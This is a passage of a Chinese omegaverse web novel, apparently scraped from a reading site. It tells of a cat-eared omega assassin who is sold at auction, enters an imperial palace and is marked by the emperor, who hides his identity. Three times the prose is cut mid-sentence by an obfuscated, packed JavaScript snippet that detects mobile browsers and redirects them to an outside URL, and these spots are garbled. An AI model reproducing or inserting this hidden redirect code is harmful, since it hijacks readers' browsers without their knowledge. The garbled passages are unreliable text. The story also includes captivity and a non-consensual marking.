《被敌国暴君标记后》 1. 第 1 章 伊斯特拍卖场是座落在华利亚帝国首都最负盛名的拍卖场,宽阔的场地与环形座位足以让每个人看清拍卖场上的物品。 而此刻,拍卖场上正在进行的那件特殊拍品,将今晚的拍卖会推上了一个史无前例的高.潮。 那是一个被关在玻璃箱里的人,他蜷缩在角落,团成了一团,雪白的毛发和一件纯白的背心以及身上露出来的皮肤让他看上去像一只小兔子,他很漂亮,不同人类的是,他白色的短发上长着一对柔软的猫耳,让人想要捏一捏。 最让他们心神荡漾的,是那一条细长的猫尾,它垂落在Omega的身侧,顺着尾巴朝着顶端望去,只能猜测那是从尾椎骨延出来的。 却让人心生遐想。 “我要定了!一千五百万!” “两千万!” 周围的声音过于嘈杂,将洛湫吵醒,与此同时,后脖颈腺体上的疼痛也传入了他的大脑。 洛湫轻轻一动,浑身都提不上劲,反倒是清脆的锁链碰撞声直直传入他的耳中,他低头一看,便看见自己的手腕上被一条漆黑的锁链束缚住,那锁链穿过他的胸膛,扣在他的脖颈处,同时锁住的还有他的脚踝。 他盯着身上的枷锁,眸光中闪过一丝冷意,但很快就消失了。 因为这一切,都是他自愿的。 洛湫看着玻璃上倒映出来的自己,巴掌大的脸有一半被止咬器罩住,额头被碎发挡住,只剩下一双冷漠的眼睛。 会变成现在这样,是为了进宫刺杀华利亚帝国新任的帝王。 华利亚帝国新上任的王叫作楚勝,传闻他手段狠毒,杀死了所有的兄弟甚至是自己父亲才坐上了王位,加冕当日设局清扫了大半他父亲的股肱之臣,血洗了他的加冕典礼。 他踏着尸山血海登上王座,从此没有人能够靠近他,也没有人敢走到他的面前多说一句话。 但洛湫所得到的信息不多,尤其是皇宫内部的信息,要想刺杀暴君,只能先进入皇宫,而今晚的拍卖会是一个很好的途径。 因为暴君的弟弟,华利亚帝国唯一的亲王楚欢就在这里,他可以利用楚欢进入皇宫。 “哎!他醒了!快看他的眼睛,天哪,太漂亮了!两千三百万!我一定要得到他。” 洛湫那双藏在碎发下的眼睛,如同镶嵌在王冠上的红宝石,异常亮眼,而此刻,那双红宝石一样的眼睛正大大地睁着。 他回想着实验室里教他的“如何示弱降低alpha的戒心”,掩盖着眼底的冷意,企图让他看上去温顺又无辜。 很显然,这一招十分有用,拍卖的价格如同滚雪球一般越来越高。 但洛湫并不在意那些人的喊价,他的目光朝着顶层包厢望去。 环形拍卖场的顶层包厢里,一名身着华丽礼服的人正直直望着玻璃箱里的Omega,饶有兴致地翘着二郎腿,听着底下的人竞价,他乐滋滋道:“这小猫确实很漂亮,当个小玩意儿养着一定很有趣。” 底下的竞价到了三千五百万便停止了,正当出价的那人以为自己可以获得第一只人形白猫的时候,拍卖师却微笑着再次介绍道:“方才,法尔研究院告诉我,这只白猫Omega的信息素是极为稀有的s级,也就是说,在没有标记的情况下,他的信息素就可以安抚绝大多数的alpha,甚至是s级别的alpha。” 这话一出,方才停止的竞价又重新推上一波热潮。 楚欢却是顿时从椅子上站了起来,有些生气道:“能安抚s级的alpha,法尔研究院竟然不第一时间向皇宫提供,那几个老头子是吃了熊心豹子胆吗?!难道不知道我哥哥需要……” 一旁的卫兵及时打断他:“亲王,慎言。” “哼,”楚欢看了他一眼,道,“出价,我一定要拍下这只白猫。” “是。”卫兵走到窗口,举起了手里的牌子。 “八千万!还有人出价吗?八千万一次!” “八千万两次!” “八千万三次!成交!恭喜我们的楚欢亲王!” 拍卖还在继续,作为已经拍出去的竞品,洛湫被推到了后台,等待下一步的流程。 寄存室里,洛湫的目光扫着周围的每一点风吹草动,这个房间里围了许多士兵,全都紧紧盯着洛湫。 洛湫安静地等着,并不在意周围那些算不上危险的目光,细长的尾巴甩了甩,打在了玻璃罩上,周围的拍卖场的卫兵警惕地望着他,仿佛他是一颗刚造出来的核弹,随时能要了他们的命。 而这样的警惕,只因为法尔研究院的一句“s级信息素与s级精神力”,双s的威力。 没一会儿,房间的大门被打开,法尔研究院的教授陪同楚欢走了进来,周围的士兵们更加警惕地注视着玻璃箱里的洛湫。 楚欢看着周围几个alpha的架势,不由得问:“你们是怕他跑了吗?” 法尔研究院的教授摇了摇头,解释道:“他的信息素太过稀有,而且能够使s级的alpha都直接陷入易感期,我是为了亲王考虑。” 楚欢皱着眉头:“你们没有其他措施吗?这样的Omega怎么养在身边?” 教授笑了笑:“我们给他的腺体注射了信息素破坏剂,药剂会一点点毁坏他的腺体,直到他无法再使用他的信息素,在此之前您可以尽情享用他,对了,腺体损坏会让他的腺体异常敏.感,对您应该十分有利。” 楚欢的目光落在了洛湫身上:“腺体破坏之后还会恢复吗?” 教授摇头:“不会了。” “你的意思是,这只是个一次性,啊不对,限时用品?” 教授笑眯眯道:“目前好像,确实是这样。” 楚欢有一种被当成冤大头的感觉。 算了,反正也是给他哥拍的,这白猫就算不是限时的,到了他哥手里,也变成一次性的了,要是这Omega能从他哥手里活下来,才该考虑限时的问题。 他走到玻璃箱面前,与洛湫对视。 而洛湫在正在打量这位华利亚帝国唯一的亲王——他进入皇宫的通行令。 洛湫看着楚欢靠近,想要尽可能表现的友好一些,好让楚欢将他带进宫中,于是身后的尾巴轻轻甩了甩。 大概是没控制好力度,“啪”地甩在了玻璃箱上,那称作子弹无法穿透的防爆玻璃被这轻轻一拍,瞬间清脆的裂声响了起来,也在现场每个人的心底放大。 所有的士兵连忙将楚欢和教授护在后面,严阵以待地看着洛湫。 下一秒,玻璃箱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180906|165269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彻底粉碎,洛湫看着一地的玻璃碎片,感受着周围凝固的氛围,觉得自己可能搞砸了。 他明明只是想和楚欢示好,让对方知道自己并没有他们说的那么危险。 但显然,事与愿违。 他耷拉了一下耳朵,往前移了移,回想着实验室教他的其他补救办法。 只是不动还好,他一动,身上的铁链随着他的动作响起清脆的碰撞声,在这安静的状态下,宛如在众人心中炸响了定时炸弹。 那些士兵护着楚欢和教授,往后退了一步,目光紧紧盯着洛湫。 洛湫皱了皱眉头,抬手敲了敲嘴上的止咬器。 这止咬器太紧了,他都不太能够开口说话。 然而周围的人压根没能理解他的意思,仍旧拦在楚欢前面,防止洛湫发难。 洛湫皱了皱眉,轻轻“唔”了一声。 下一秒,众人眼前一花,挡在楚欢前面的一个alpha士兵被高高抛弃,而后甩了出去,重重砸在墙上。 洛湫有些难受地拉扯着身上的锁链,这些链子很影响他的动作。 楚欢被吓了一跳,瞪大了眼睛转头问教授:“这么危险的东西你也敢拍卖啊!!!!奸商!!!!” 教授擦了擦头顶的冷汗,狡辩道:“他……他在实验室的时候很温顺的,根本没伤过人,虽然s级的精神力很危险,但是他从来没用过。” 楚欢心道,人家根本不需要用到精神力好吗?!!! 就在这时,周围的alpha士兵齐齐释放了信息素威压,浓郁的各种味道的信息素混在一起,让洛湫觉得头疼。 这里的alpha最高也才A级,对他造成不了任何影响,但信息素太多,也会让他头疼。 他眉头微拧,一道初雪的清味在房间里蔓延开来,一下令人清爽,仿佛置身于冰川雪景中,但很快,所有的alpha士兵都趴在了地上,疼得打滚。 洛湫踩着挡在楚欢前面的另一个士兵的背走到了楚欢面前,如同没有情感的宝石眼睛盯住了他。 楚欢立刻跪到了地上:“我错了!我不买了还不行吗?你……你回实验室,不,你想去哪都行,祖宗,我真的知道错了!” 洛湫仍旧皱着眉头,他的手被铁链锁着,行动限制,够不到脑袋后面,无法自己取下止咬器,只能尽可能柔和地看着楚欢,想起刚刚教授说的“温顺”,于是蹲了下来,和楚欢平视。 结果楚欢直接就磕上头了:“我立刻叫人放了你行吗,你别看我,求你了,我害怕!!!” 洛湫:“……” 他无法理解,楚欢一个亲王,有那样一个毫无人性的哥哥,这胆子怎么能这么小的? 可能那暴君也是总是这样对待他弟弟,所以被吓成这样的。 不过这些都和他无关,他现在需要获得楚欢的新任,进入皇宫,接近暴君。 于是他蹲下来,尽量和楚欢平视,安抚的信息素从腺体泄出来,他艰难地说话:“哥、哥。” 楚欢被那清雪的信息素安抚着,心底的恐惧稍微消了下去,整个人十分舒服,这样的Omega送给他哥,他哥一定会夸奖他的! 他笑着,嘴上道:“你才是我哥哥。” 说不定以后还是嫂子呢! 2. 第 2 章 洛湫隔着透明的玻璃打量着皇宫,他被重新装回了玻璃箱里。 他被士兵拉着玻璃箱,跟着楚欢一起被送进皇宫。 华利亚帝国奢靡的皇宫,每一寸地砖上都沾着鲜血,有王公贵族的,有没站对队伍的大臣的,甚至还有前任的王以及他的儿子们的。 洛湫冷冷扫过地砖,又移向绚烂的宫殿,他原本也住在这样的宫殿里,躺在父王和母后的怀里,可是转瞬之间,巍峨的宫殿倾塌,化为废墟,他的父王母后倒在血泊里,身体冰凉。 他敛了思绪,目光落在皇宫的巡防上,几乎每隔十步便有一小队士兵,各个门口都有士兵站岗,甚至二楼也有放哨的,整个皇宫就如同密不透风的城墙,要想刺杀暴君并不容易。 “楚欢亲王。”有一支队伍迎面朝着他们走了过来,为首的那人身着军装,看徽章是个上将,一看便是魁梧有力,古铜色的皮肤与冷硬的面容,以及那份带着血腥味的气场,无一不透露着他曾在战场上拼杀的铁血手腕。 楚欢亲切地朝他打招呼:“唐穆上将,今天又是你值班啊。” 唐穆反倒略显疏离,只是点了点头,目光却扫在了玻璃箱里的洛湫身上,那兽耳猫尾的物种让他的视线无法移开,他将士兵拦停,问:“亲王,这是什么?” 楚欢笑了笑,神神秘秘地凑近唐穆道:“献给我哥哥的Omega。” 唐穆顿了顿,打量着洛湫,那白猫看上去人畜无害,乖乖盯着他的模样,让他想到了宠物店的那些小东西,他不想把那些宠物带回家,却在这会儿想摸一摸这Omega的耳朵,但也是想想,他问:“他为什么会有猫耳和尾巴?” 楚欢知道这是唐穆在履行他的职责,任何有疑问的东西都不可能被放进皇宫。 他解释道:“这是法尔研究院最新研究是半分化白猫Omega,据说有s级的信息素和精神力,我想着拿来献给我哥哥。” 唐穆眼底了然,陛下向来不喜欢送进宫的这些Omega,这白猫估计也不例外,不过他闻着那若有若无的清冷信息素,浑身都燥热了起来,莫名的占有欲不知怎么就升了上来,那是百分之九十以上的信息素契合度! 唐穆掩饰压下去体内的那份躁动,绷着脸:“s级的精神力,难怪重重枷锁,亲王小心。” 楚欢点了点头,看样子唐穆是放过他们了。 洛湫与唐穆对视了一眼,差点没能压制住眼底的杀意,但很快他知道自己不能功亏一篑,只能先将自己伪装得人畜无害。 果然,对方并没有对他起疑,放过了他。 玻璃箱的推车继续朝着皇宫里头驶去,洛湫被带到了一间宽阔的屋子,这里似乎并不住人,没什么生活的气息,甚至能放下这么大一个玻璃箱。 不去见那个暴君吗? 他有些疑惑地看着楚欢,但并没有问出心底的问题。 既然已经进了皇宫,不能那么急切地暴露自己的意图。 好在虽然他没问,楚欢那个喜欢说话的性子,哪怕自言自语也要讲:“我先去看看我哥有没有空,你们都先走吧。” 洛湫看着楚欢像是在躲鬼似的,撒丫子直接就跑了,他坐在玻璃箱里,等着对方回来。 只是这一等就等到了夜里,洛湫也不知道自己第几次看向了门口,那扇门始终没有动静,他皱起眉,将自己手腕上的锁链扯断。 这楚欢大概是不会回来了,说去看那暴君,结果也不知道跑到了哪里,他不能在这里坐以待毙。 白天大概记了记皇宫的路线,洛湫从玻璃箱里出来,轻轻一跃,上了屋顶。 底下士兵的换防尽收眼底,洛湫身形矫健,在房顶上搜寻,却始终没有找到新王楚勝的所在之处。 不在会议室,不在书房,也不在卧室,那暴君大晚上会去哪呢? “什么人?!”突然一声呵斥声从洛湫的身后传来,他记性很好,不用回头也听得出来,是白天遇到的那位上将。 洛湫并不是很想和那位上将正面对上,倒不是打不过,只是不想那么快暴露,毕竟他还没有找到暴君,刺杀行动也还没有开始,不能折在这里。 于是洛湫用最快的速度与唐穆拉开距离,只听见后面的人拉响了警报,底下所有的士兵都开始追他,手里的枪对准他扫射。 洛湫的身形快到只剩一道虚影,他躲过了无数的子弹,飞速在皇宫中掠来掠去,最终逃到了一处极为奇怪的地方。 那是一间用玻璃制成的屋子,圆弧形的玻璃像是温室花棚,里面也确实有不少花,不,准确的来说,是珊瑚,品种各不相同的珊瑚。 但这些不是让洛湫觉得奇怪的,最奇怪的是,皇宫内外,每一个角落都要士兵把守,唯独这个地方,一个士兵也没有,实在是太奇怪了。 洛湫回头看了一眼,唐穆应该很快就会追上来,这里看上去能够隐蔽起来,他不再犹豫,走进了温室玻璃房里。 看到眼前的场景,洛湫微愣。 玻璃房里并不是什么温室花棚,反而只有一个巨大的泳池,咸湿的海水气息扑面而来,异常浓郁,几乎在一瞬间刺激到了洛湫的腺体,洛湫捂着腺体往后退了两步。 是alpha的信息素,很浓,很强大,侵略性的气息几乎要将洛湫碾碎。 他紧紧盯着那巨大的水池,看不清底下的模样,但直觉告诉他,下面有东西,很危险。 洛湫的目光霎时冷了一下,现在出去和唐穆撞脸,他就会暴露,任务失败,在这里对上未知的危险,可能会引起他发.情。 月光透过玻璃打在洛湫的脸上,被额头的碎发挡在眼睛上面,整个银白的发丝都在发着柔和的光,可那双冷静的眼眸藏在暗处,周围浓郁的海洋信息素将他包裹,腺体在发烫。 洛湫靠在玻璃壁上,咬了咬牙。 不行,不能出去,不能暴露。 他四周打量了一遍,找了个珊瑚堆叠可以藏人的地方,正想过去,却发觉整个人都烫了起来,身上一阵阵发软。 这alpha的信息素太过强大,恐怕有s级,甚至可能更高,他不能在这里待太久。 洛湫顶着这道强大的信息素,慢慢挪到了藏身的地方。 他的呼吸也变得急促起来,但洛湫仍旧警惕地望着外面。 好在唐穆并没有找到这里来,他暂时不会暴露。 但洛湫并没有因此放下戒备,他仍旧望着池子里,虽然看不到有什么东西,但那个alpha一定在里面。 洛湫突然想到一种可能,他在皇宫遍寻不到的暴君楚勝,不会就在这里吧? s级的信息素,又躲在一池的海水里面,难不成是易感期到了? 那岂不是他刺杀的绝佳时机? 洛湫眼前一亮,虽然他被这铺天盖地的信息素影响,但并不妨碍他的杀意蔓延。 他如同狩猎的野兽,紧紧盯着池子,缓缓朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一瞬间,他被那些触手拖进了一池的海水中,深不见底的海水将他淹没,他忽然撞进了一个结实的胸膛,他挣扎着,触手却缠得他越来越紧,身后的尾巴也被那些触手一圈又一圈地绕了起来,那触感通过尾椎骨,如同触了电一般,叫他整条背脊骨都酥了。 方才太快没有看清,现在洛湫才看到,那淡蓝色的水母触手近乎透明,每一寸都仿佛在自主呼吸,如同一片片轻薄的纱,十分美丽。 而他撞入那一片健壮的胸膛,往下是紧实的腹肌与马甲线,那是一副令每个人都会惊羡的身材,每一块肌肉都恰到好处,不多也不少。 但再往下瞥,洛湫却看到了笔直修长的腿下面却被一条从池底延伸出来的锁链缠住,令他无法离开池子。 还不等他再仔细看,对方便托着他往上浮着,他逐渐从海水中露出脑袋和半个身子,对上了一双如碧空的眼眸,那一瞬间好似被洗涤了灵魂。 紧接着跃入洛湫眼睛的是深黑的止咬器,那止咬器紧紧扣在对方的下半张脸上,将那人的脸挡住,如同一只困兽,囚禁在深渊中,斩断腿脚,敲碎牙齿。 洛湫想,他可能是认错人了,暴君又怎么会被囚禁在这里,还戴着止咬器呢? 下一秒,洛湫嗅到了空气中变得浓郁的海洋信息素,他抬头对上对方那双染上情欲的眼睛。 洛湫心底一沉。 他差点忘了眼前的这个alpha,正在易感期。 3. 第 3 章 空气中的信息素都变得黏腻,海洋的信息素将清冷的雪包裹吞噬。 洛湫被对方搂在怀里,只感觉后脖颈贴上了一个极冰凉的东西,令他瑟缩了一下,随即他反应过来,那是止咬器。 冰凉的止咬器贴在他的腺体上,他才发觉自己的腺体不知何时变得滚烫,这份冰凉才异常明显。 “不行……”信息素将整个花房覆盖,洛湫勉强拉回一丝神智。 可空气中,海洋和雪的信息素纠缠在一起,变得十分黏腻,那是契合度百分百的证明,没有哪个易感期的alpha能够拒绝。 贴着洛湫腺体的止咬器在一瞬间被强悍的信息素冲爆,钳制alpha的东西就这么一寸一寸化为灰烬。 下一刻,微凉的唇贴在了他的腺体上,利齿咬破他的腺体,注入大量的信息素。 洛湫浑身一震,从腺体处开始,仿佛有一道电流,一路顺着脊柱蹿了下去,直到尾椎骨。 太刺激了。 但与此同时,洛湫心底只有只剩下两个字。 完了。 他被标记了。 月光透过玻璃打在池子边上,印出一片银光,池子里荡漾的波纹也如同鱼鳞一般闪烁着。 不知过了多久,洛湫的后脖颈被放开,他扭头去看对方。 好看。 没了止咬器,洛湫更清楚地看到那张英俊的脸上优越的五官。 洛湫见过那么多人,不论是大街小巷里的住民,还是被他盯上的任务对象,又或者皇宫里的那些人,没有一个能够比得上眼前这个人。 蓝色的长发垂落在池子里,好似从古画里走出来的美人,明明刚刚咬得那么凶,这会儿却见他低垂着眼眸,唇边带了点笑意:“抱歉,我刚刚正在易感期,你一个Omega突然闯进来,还离我那么近,我没忍住,临时标记应该不会有太大的影响,如果你有什么不适可以尽管找我,我一定会负责到底的。” 声音也很好听,大概是刚经历易感期,这会儿带着点喑哑,低沉得如同悦耳的大提琴声。 “你……你是谁?”洛湫原本以为,这个池子里的是华利亚帝国传闻中的那个暴君,可当他看到锁链和止咬器,便觉得自己可能认错人了。 眼前这个温柔又绅士的alpha似乎是一名特殊的囚徒,和传闻中的暴君毫不沾边。 “我叫楚异。” 洛湫紧紧盯着他,姓楚! “楚异……你和楚勝是什么关系?!” 楚异笑了一下:“他是我的哥哥。” 洛湫眸光顿时冷了下来:“整个帝国都知道,华利亚帝国只有一位亲王,他的名字叫做楚欢。” 楚异闻言,唇角的笑意似乎淡了点:“楚欢,他确实是个很好的弟弟,相比之下,我确实比较见不得人。” 洛湫一愣,眼底凝聚起来的冷意微微散去:“见不得人?这是什么意思?” 他忽然想起池子底下的锁链。 楚异重新提起了笑,淡淡道:“没什么,这个皇宫本也没几个人承认我,倒是你,一个Omega,深更半夜跑到这里来做什么?” 洛湫经他一提醒,才反应过来,他们两个人现在的姿势,有些过于暧昧了。 他整个人被水母触手缠绕束缚着,被迫坐在对方的怀里,仿佛被电流窜过的后背贴在那人的胸膛上,冰凉的感觉让他觉得自己的后背正在发烫。 他连忙挣扎了一下:“你放开我!” 好在楚异刚才应该确实是因为易感期才缠着人,这会儿立刻将他放了。 恢复自由的洛湫发现,被标记后的他身上毫无力气,没了那些触手的支撑,他整个人都摔了下去,反而坐到了楚异的腿上。 感觉到那人的异常,洛湫的脸直接烧了起来,他撑着全身的酸软与无力,离楚异远远的,恶狠狠地威胁道:“我得走了,标记的事……你就当没发生过,不许告诉任何人。” 楚异看着他,问:“为什么?” 洛湫想了半天,才终于想到一个比较合理的解释:“因为我是你哥哥楚勝的Omega,他要是知道你标记了我,我们两都得死!” 楚异:“……” 他看着洛湫脚步虚浮,落荒而逃,唇边的笑意更深了一些,沉在海水中,靠着池子边,格外慵懒。 周围的信息素已经散去,s级的信息素威压被他收回,他道:“进来吧。” “陛下。”唐穆从外面走了进来,此地是整个华利亚帝国皇宫的禁地,其实也不能说是禁地,因为这里根本没人守卫,此处平时也根本没有人,只有楚勝易感期的时候才会到这里来,恐怖的信息素威压充斥整个玻璃房附近,没人敢靠近这里,就连他方才追着刺客一路追到这里,哪怕再十万火急,也不敢轻易踏进去半步。 楚勝瞥了他一眼,唇边的笑意仍旧温和,可眼底的那份笑意却早早散去了:“什么事?” 唐穆直觉在陛下面前走了神,连忙垂首道:“属下失职,让刺客进了皇宫,方才一路追那刺客到这里,惊扰陛下,轻陛下恕罪。” 楚勝的目光仍旧看着洛湫离开的方向,不曾收回来:“没关系,明天你就见不到他了。” 唐穆的目光顿时落在了楚勝的手上,那只堪称艺术品的手被水珠覆盖着,往手臂滑落,腕间有青筋缠绕着,上面覆了一条抑制环,原本是用来抑制他易感期信息素暴乱的,但对于楚勝来说用处微乎其微。 没人知道,这样一只骨节分明的手上满是剧毒,只要碰到,当即毙命,信息素再强的人也撑不过一晚上。 “那刺客碰到您了?属下该死!”唐穆收回目光,单膝跪下请罪。 楚勝的目光缓缓落到了唐穆身上,悠悠道:“不仅碰到了,吾还受伤了。” 唐穆顿时大惊:“陛下!” 他说着,就要起身去看楚勝,还没站起来,抬头对上了楚勝带着揶揄笑意的目光,顿时定在原地:“属下明白了。” 楚勝从池子里站了起来,完美的身材与极高的身姿都给人无尽的压迫感,他将手腕上的抑制环摘了下来,早在他标记那只白猫Omega的时候,这东西已经报废了,但超出人体负荷的电流仍旧在他腕上留下一片痕迹。 他习以为常,淡淡道:“刺客侥幸逃脱,皇宫戒严,唐穆上将,继续搜捕那名刺客吧。” 唐穆:“是!” 明明那刺客中了陛下的毒,活不过今晚,虽然他不明白楚勝为什么要说那刺客还活着,甚至戒严皇宫,还要对外宣称自己受了伤,但他照做就是了。 . 洛湫回去的一路上都没看见唐穆,这么久大概早就不知道搜到哪里去了,天都快亮了。 他循着记忆原路返回,这会儿腺体的疼痛感已经消失了,连带着破坏剂的那份痛感也不见了,但身上的力气还没恢复,他不想把锁链再戴回身上,就这么倒在玻璃箱里睡了过去。 “啊!你!啊!你!!!!!” 洛湫被一阵刺耳的叫声吵醒,他猛的睁开眼睛,眼底一丝困倦过后的迷糊都没有,锐利的目光如同一把利刃。 不过当他看到房间里的人,冷冽的目光又垂了下去。 等等!他昨天晚上好像被标记了!还是他仇人的弟弟!等他杀了楚勝,再杀了那个敢标记他的alpha! 楚欢正一脸惨白地指着他:“你怎么把锁链解开了?你……这些东西根本困不住你!” 洛湫歪了歪头,从玻璃箱里走了下来,他走一步,楚欢就退一步:“你说你要干什么就行了,别动!” 洛湫乖乖停住了步子,问:“你知道一个叫做楚异的人吗?” 昨天那人说的话他并未全信,且不说研究院根本没有楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180908|165269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异的信息,他也从未听说过有楚异这个人。 楚欢听见这个名字,愣了愣:“知道啊……怎么了?” 洛湫顿时抬眸:“他是谁?” 真的有楚异这个人,那人倒是没骗他。 楚欢虽然不知道洛湫怎么会知道楚异的,还是如实道:“他是我哥哥啊。” 洛湫逐渐相信了昨晚那人的话,再次确认道:“那他和暴……陛下是什么关系?” 楚欢觉得楚异的事情也不算是什么秘密,于是道:“楚异是我哥哥,当然就是陛下哥哥的弟弟了。 洛湫:“……” 完了,还真是那暴君的弟弟! “反正这皇宫也没几个人承认我。”——楚异好像是这么说的。 洛湫不由得对楚勝的厌恶又多了一层,这暴君的两个弟弟,一个怂得很,而另一个竟然被囚禁在皇宫的一个角落,百般折磨,果真是暴君,杀了那么多兄弟,留下的两个又是打压又是折磨的。 “你……你怎么知道楚异的?”楚欢见洛湫沉思,轻声问。 洛湫看了他一眼,想起昨晚标记的事,淡淡道:“不关你的事,你不是要带我去见陛下吗?我们不去吗?” 楚欢摆了摆手:“我哥他不在,而且……昨晚上有刺客!” 洛湫的心顿时被提了起来:“刺客?” “嗯!”楚欢重重点头,“那刺客把我哥刺伤了!这几日皇宫戒严,我哥也不见人,所以暂时就先委屈你在这里多待几天啦。” 洛湫那双好看的眸子闪过一丝疑惑,昨晚想要啥那个暴君的居然不止他一个,对方竟然还得手了? 也不知道是谁,不过暴君受了伤,但是没死,真是命大! “刺客……有线索吗?”洛湫多嘴问了一句。 楚欢摇头:“不知道,哥哥派了唐穆在皇宫搜寻呢。” 话音刚落,门外就响起了一阵有力的敲门声,洛湫顿时看向楚欢。 好在楚欢是个没心眼儿的,立刻就问:“谁啊?” 门外的人自报家门:“属下唐穆,奉命查探刺客的下落,楚欢亲王方便开门吗?” 楚欢看了洛湫一眼,低声问:“你要不回玻璃箱里面去?” 洛湫问:“为什么?” 楚欢看着他,默默道:“我怕唐穆把你当刺客抓起来。” 洛湫看向门口:“我又不是刺客,不怕他看见。” 至少,昨天刺杀暴君的不是他,即便唐穆追的是他,但他确定,唐穆没有看见他的模样。 楚欢应了一声,跑去开门。 唐穆朝楚欢行了礼,问:“亲王这里有什么可疑的人吗?” 楚欢摇头:“没有,没有。” 唐穆的目光却隔着楚欢,落到了洛湫身上,准确来说,他就是为了洛湫来的。 他抬步走了进去:“他身上的锁链为什么解开了?” 楚欢也看向洛湫,这个问题他也不知道,刚刚被洛湫一通反客为主的问话,他都没来得及问洛湫问题呢。 洛湫同唐穆对视,想了想,指着锁链道:“那里,不舒服,我不喜欢。” 唐穆凝视着洛湫,又将人重新上下打量了一遍,这白猫看着很乖,但实际上他能感觉到,小猫的爪子很锋利,但没关系,毕竟是s级Omega,他有的是耐心:“昨晚皇宫进了刺客,而你刚好昨晚来的,今天一早,锁链自己解开了,未免太过巧合。” 洛湫问:“唐穆上将准备把我带到哪里去?” 唐穆:“自然是带去审问。” 洛湫又问:“那如果我不是昨晚刺杀陛下的刺客呢?” 唐穆看着洛湫,一板一眼道:“那我亲自代楚欢亲王将你献给陛下。” 洛湫看了一眼楚欢,既然这楚欢是个靠不住的,不如跟唐穆走,至少唐穆能够带他见到暴君。 4. 第 4 章 皇宫审讯室拥有着最坚固的防守,轻易跑不出去,外面想要进来也更是天方夜谭。 洛湫身上的锁链变成了电击环,他坐在审讯室冰冷的椅子上,垂眸看着腕上的电击环,这东西他见过,在楚异的手上,那人不仅被锁在池子里,带着止咬器,还上了电击环,明明应该是风光无限的华利亚帝国亲王,却成了一个毫无自由和尊严的囚徒。 洛湫收回思绪,望着面前号称最铁面无私的上将唐穆,身后的尾巴轻轻甩了甩。 唐穆看着洛湫,不同于之前两次的打量,他操作着检测台上的仪器,等待着检测结果,其实不需要审问,他知道昨晚的刺客不可能是眼前的这只Omega白猫,因为那刺客碰上了陛下,绝对不可能还活着,而这人好端端站在他的面前,光凭这一点,唐穆就已经可以排除他了。 检测台上的扫描仪器在洛湫身上上下扫了一遍,最终的结果全部映入唐穆的眼帘。 洛湫。 Omega。 s级信息素雪。 s级精神力。 危险值★★★★★。 法尔研究院的半成品,人形兽耳猫尾,具有安抚大多数alpha的能力,甚至s级信息素alpha,无需标记。 唐穆看完报告,终于知道楚欢为什么会将这白猫Omega拍下来献给陛下了。 陛下确实需要这样一个Omega来安抚易感期暴乱的信息素,只是…… 就算是s级的Omega,也未必能够从陛下手中活下来。 洛湫被唐穆一直盯着,但对方没有要动手的意思,想来那份报告上并没有写什么对他不利的信息。 他揉了揉带着电击环的手腕,提醒道:“唐穆上将审完了吗?这电击环有点重。” 唐穆的目光落到了洛湫的手腕上,对方露在外面的一截手腕很白,像雪一样,有一点肌肉,但比起他这个常年练武的alpha还是略显纤细了一些,那电击环套在他的腕间,像被圈住了的所有物,难以移开目光。 唐穆替他摘下手环,道:“审讯完了。” 那检测仪是法尔研究院向皇家提供的,任何人的信息经过仪器的扫描,都会一五一十写在报告上,不会有错。 洛湫揉了揉手腕,只不过带了这么一会儿,雪白的腕上就多了一道红痕,他不甚在意,问:“那你现在要带我去见陛下了吗?” 唐穆抬眸看他:“你很想见陛下?” 洛湫口不应心道:“陛下是华利亚帝国的王,没有哪个Omega会不想臣服于他吧。” 唐穆看着白猫眼睛里闪烁的星光,心底泛起一丝没来由的不甘,但他只能道:“你是楚欢亲王从拍卖场拍来的,他既然要将你送给陛下,那必定不能违背。” 洛湫点头。 唐穆验了身份,领着洛湫出了审讯室,门外楚欢正等着,见到他们出来,连忙走了过来:“唐穆上将,审完了吗?结果如何?” 唐穆道:“不是刺客,抱歉亲王,属下是职责所在,并非怀疑您。” 对于怀疑他带进来的是刺客这件事,楚欢压根没放在心上,摆了摆手:“你说哥哥受了伤,不知道精神力有没有什么影响,伤的是哪?把白猫Omega带去有用吗?” 唐穆看了洛湫一眼,道:“跟我来。” 洛湫知道,唐穆这是要带他们去见暴君了。 他乖巧地跟在唐穆身后,将杀心藏的严严实实。 唐穆带着他们去到了二楼,洛湫猜想是那暴君受了伤,所以待在卧室。 要是他能接近暴君,趁着对方重伤,应该能一击毙命。 正想着,唐穆已经进到了房间,他和楚欢只能暂时在外面等着。 “陛下,楚欢亲王想要见您。”唐穆一进门,看见坐在椅子上正在处理各种事宜的楚勝,那人只披了一件外套,支着下颌,眼瞳中是淡蓝色的虚拟影像。 楚勝的目光移都没移:“吾在养伤,不明白吗?” 唐穆连忙道:“属下明白,只是楚欢亲王带了一只白猫Omega,想要献给陛下,资料显示,那Omega拥有s级的精神力,可以安抚陛下的信息素。” 楚勝这才缓缓抬头,眉头微挑:“白猫?” 